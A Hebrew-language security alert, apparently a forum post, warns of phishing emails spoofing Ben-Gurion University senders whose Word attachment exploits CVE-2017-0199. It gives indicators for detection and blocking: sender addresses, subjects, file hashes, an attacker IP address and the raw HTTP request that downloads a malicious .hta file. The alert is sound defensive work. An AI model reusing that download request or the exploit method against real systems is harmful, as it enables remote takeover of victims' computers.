שימו לב בשעות האחרונות מתקבלים דיווחים רבים על הודעות מייל שמתקבלות כביכול מגורמים רשמיים כמו אוניברסיטת בן גוריון וכדו' חלקם בעברית וחלקם באנגלית. ההודעות מכילות וירוס חמור שמאפשר לתוקף לשלוט במחשבכם.
נא נקטו במשנה זהירות בפתיחת הודעות מגורמים לא מוכרים.
למרות שלא קשור לנטפרי ראיתי צורך ליידע את המשתמשים.
למשתמשים המנוסים יותר מצו"ב מעט יותר פרטים.
מכיל אינדיקטורים ראשוניים לזיהוי וחסימה,
וקטור התקיפה:
מייל המידע מכתובת המזוהה עם שרת הדוא״ל של אוניברסיטת בן גוריון המכיל צרופה מסוג DOC.
2 גרסאות למייל הנצפו עד כה:
גרסא 1:
שולח :
arik@bgu.ac.il
נושא המייל:
RE:: אישור קבלת מלגה פרטנית - קרן ידע הנדסי אקדמי
גרסא 2:
שולח:
dtripto@bgu.ac.il
נושא המייל:
::NIH cancer research funding opportunities
שם הקובץ המצורף:
3.doc
md5: 1318a321b1afb2934ff20a3fb686ce77
הקובץ מכיל :
embedded OLE2 link object אשר ככל הנראה ״נטמע״ בקובץ ה - doc באמצעות ניצול cve 2017-0199 לפרטים נוספים:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
פגיעות זו מאפשרת לתוקף להפעיל Visual Basic scriptבאמצעות קובץ וורד המכיל את ה - exploit אשר הקורבן נדרש לפתיחתו.
לא ידוע על remedy אחר ל exploit המדובר מלבד הpatch של microsoft.
כאשר המשתמש פותח את הקובץ מתבצעת בקשתhttp ל
80[.]82.67.42 ומוריד ממנו קובץ בשם test5.hta
להלן הבקשה:
"GET /test5.hta HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 80.82.67.42
Connection: Keep-Alive"
שימו לב ל - user agent הכללי (יחסית) למרות ששום broswer לא ביצע את הבקשה אלא קובץ ה - doc.
md5:
293239948c256f168de06299ffd2845b
כאשר קובץ ה - hta אחרי להורדת קבצים נוספים מסוג ps1 ו - vb אשר פעולתם נחקרת בימים אילו.
שימו לב, מכיוון ששרתי המייל של bgu מוגדרים כרגע ברמת סיכון גבוהה יותר, אנו ממליצים לשקול חסימה זמנית של שרתי הדוא״ל של bgu. (כתובות שרתי הדוא״ל לא נמצאות בקובץ האינדיקטורים).
........................
אנטי וירוס ESET בעברית לרכישה אונליין לחץ כאן
